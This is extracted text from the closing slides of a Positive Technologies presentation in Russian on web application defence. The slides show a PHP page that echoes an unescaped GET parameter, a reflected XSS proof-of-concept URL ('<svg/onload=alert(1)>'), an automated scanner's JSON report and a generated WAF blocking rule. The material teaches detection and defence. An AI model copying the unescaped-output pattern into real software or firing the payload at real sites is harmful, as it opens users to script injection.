Отчет содержит перечень найденных уязвимостей и автоматически
сгенерированные эксплоиты
По эксплоиту генерируется сигнатура и итоговое правило блокирования
ptsecurity.com
Исходный код197
// page.php<?php$name = $_GET["name"];
?><html><body><div class="user"><?php echo $name; ?>
</div></body>
</html>
ptsecurity.com
Исходный код198
http://example.com/page.php?name=<svg/onload=alert(1)>
Эксплоит
// page.php<?php$name = $_GET["name"];
?><html><body><div class="user"><?php echo $name; ?>
</div></body>
</html>
ptsecurity.com
Пример отчета199
{"path": "/blog/page.php","source": "/opt/app/www/blog/page.php","type": "XSS","exploit": "\r\nGET /page.php/name=<svg/onload=alert(1)> HTTP/1.1\r\nHost: example.com\r\n","params": {"param": {"src": "REQUEST_GET_ARGS","payload": "<svg/onload=alert(1)>","name": "name","dependencies": {"dependency": [
"%3C","%3E"
]}}}}
ptsecurity.com
Пример правила200
{"and": [
{"REQUEST_PATH": "/page.php"
},{
"REQUEST_GET_ARGS:name": {"regex": "[<>]"
}}
]}
ptsecurity.com
Книги201
ptsecurity.com
Copyrights202
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript
А. Петухов. Обзор ограничений современных технологий в области ИБ
I. Markovic. HTTP Parameter Contamination
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC
Спасибо!
ptsecurity.com